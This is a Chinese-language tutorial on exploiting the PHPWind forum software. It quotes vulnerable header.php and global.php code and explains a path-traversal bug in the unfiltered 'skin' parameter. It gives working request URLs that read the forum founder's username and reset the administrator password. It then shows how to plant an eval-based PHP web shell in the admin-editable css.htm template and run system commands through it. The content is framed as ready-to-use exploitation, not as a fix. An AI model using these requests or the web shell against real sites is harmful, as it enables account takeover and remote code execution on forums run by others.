PHPWIND 論壇是一款流行的PHP 論壇,界面美觀,功能也比較強大。但大家仔細看一下會發(fā)現(xiàn)不論是從界面功能還是代碼風格,它和 DISCUZ 都非常相似,具體原因我想也就不用說了,畢竟 DISCUZ 出來比它要早很多。但安全上它沒有繼承 DISCUZ 的優(yōu)點, DISCUZ 論壇安全性非常好,而且商家也對此非常重視安全問題,國內論壇中不論從功能還是安全 , 第一非DISCUZ 莫屬。PHPWIND 雖然代碼嚴謹,邏輯清楚,但還是有一些漏洞,而且還相當嚴重。
一 skin 變量未過濾導致管理員密碼更改
廢話少說,我們來分析漏洞。漏洞代碼如下 (header.php) :
!function_exists('readover') && exit('Forbidden');
if (!$skin) $skin=$db_defaultstyle;
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}else{
include_once(R_P."data/style/wind.php");
}
$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';
if($groupid=='guest' && $db_regpopup=='1'){
$head_pop='head_pop';
} else{
$head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';
}
require_once(PrintEot(''));
require_once(PrintEot('header'));
?>
其中 $skin 變量是我們提交的,在運行到這里之前,只有一個地方處理過 $skin 變量:
$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];
語句判斷 COOKIE 中是否已經(jīng)包含 skinco 的信息,如果有了,就取得 COOKIE 中的值,這是處理個人頁面風格用的。但如果我們的 COOKIE 中沒有這個值 , 那么我們提交的 skin 變量就會一點不變的傳到上面的漏洞代碼。有人問,如果系統(tǒng)關了 register_globals 會怎么樣,關了也沒關系。
if(!ini_get('register_globals') || !get_magic_quotes_gpc()){
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
@extract($_FILES,EXTR_SKIP);
}
系統(tǒng)在 global.php 中又給釋放了。所以我們不管是用 GET 方法或者 POST 方法都可以把構造好的 SKIN 變量傳給程序。那傳給程序有什么用呢?這是重點!
我們看這段代碼:
if(file_exists(R_P."data/style/$skin.php")){
include_once(R_P."data/style/$skin.php");
}…
含義是如果( R_P.”data/style/$skin.php” )文件存在就把它包含進來,我也不分析有幾種用法了,我直接給出我最簡單危害最大的利用方法。
我們把 skin 的值設為 ”../../admin/manager” ,那就變成了 R_P.”data/style/../../admin/manager.php”, 很顯然,這是論壇管理用戶的一個程序,存在而且可執(zhí)行。這個程序是專門用來修改 sql_config.php 的,這里面都是重要數(shù)據(jù),包括論壇創(chuàng)始人的用戶名和密碼。我們只要構造好就可以改它的密碼,直接登陸后臺管理。在改之前我們可以先查看創(chuàng)始人的用戶名。
我給出查看的方法,大家可以比對論壇程序自己分析一下,我就不在贅述了。
http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin
圖 1

上面是我機子上的截圖,其中 tplpath 變量非常重要,必須是 admin ,它是一個 template 路徑,參數(shù)不對就不會顯示了。
好我們看了知道了用戶名,就可以改它的密碼了。
http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go
上面的幾個參數(shù)的含義大家一看就明白,那個 username 必須添上面看到的用戶名,密碼自己設,至于為什么要按上面的方法構造,其實很簡單 manager.php 需要哪些變量我們就提交哪些變量,不需要的我們不管。上面的變量是它所需要的,所以我們就提交這些變量,注意上面的 action 必須有值。提交后系統(tǒng)什么都不顯示,沒關系,我們再用第一次的方法就會發(fā)現(xiàn)兩次密碼不一樣,證明我們改成功了。如圖 2 所示:

密碼改了,我們就可以從管理頁面登陸了。
http://localhost/phpwind/admin.php

二 后臺利用 上傳 SHELL
本來改了管理員密碼已經(jīng)能控制論壇了,但我我覺得不傳 SHELL 總覺得事情只做了一半。如何上傳 SHELL ,這就要用到后臺的功能了。 PHPWIND 不知是想給管理員非常大的權限還是認為沒有人有能力進入后臺,后臺的權利真是大的驚人。其實我們不靠上面的方法,用跨站手段得到管理員密碼也不難,不知寫論壇的人是怎么想的。
好,我就隨便揀一處危害比較大的地方給大家分析一下,分析一下風格模板設置那個地方。
點一下左邊的連接,右邊會顯示 /template/wind/css.htm 。
系統(tǒng)提供的功能簡化理解就是可以任意編輯這個 CSS 文件,為論壇的界面做個性化設置,而且論壇運行的時候會 include 這個 css 文件,雖然它的擴展名是 .htm ,但是照樣會和其他 PHP 文件一樣運行。如果我們能象這個 css.htm 文件寫一些 PHP 代碼,就相當于我們寫一個 SHELL ,是不是很簡單。篇幅有限,我直接給出利用方法。把那個右邊的 textarea 里面的換成下面的,然后點提交就行了。
eval($_GET[myphpcode]);
?>
大家最好按上面的構造,當然也可以自己構造,不過上面的方法我做過實驗,成功率很高。
保存之后,用下面的方法就可以利用了。
http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;
運行后如圖 4

可以運行其它PHP語句,在此不在贅述。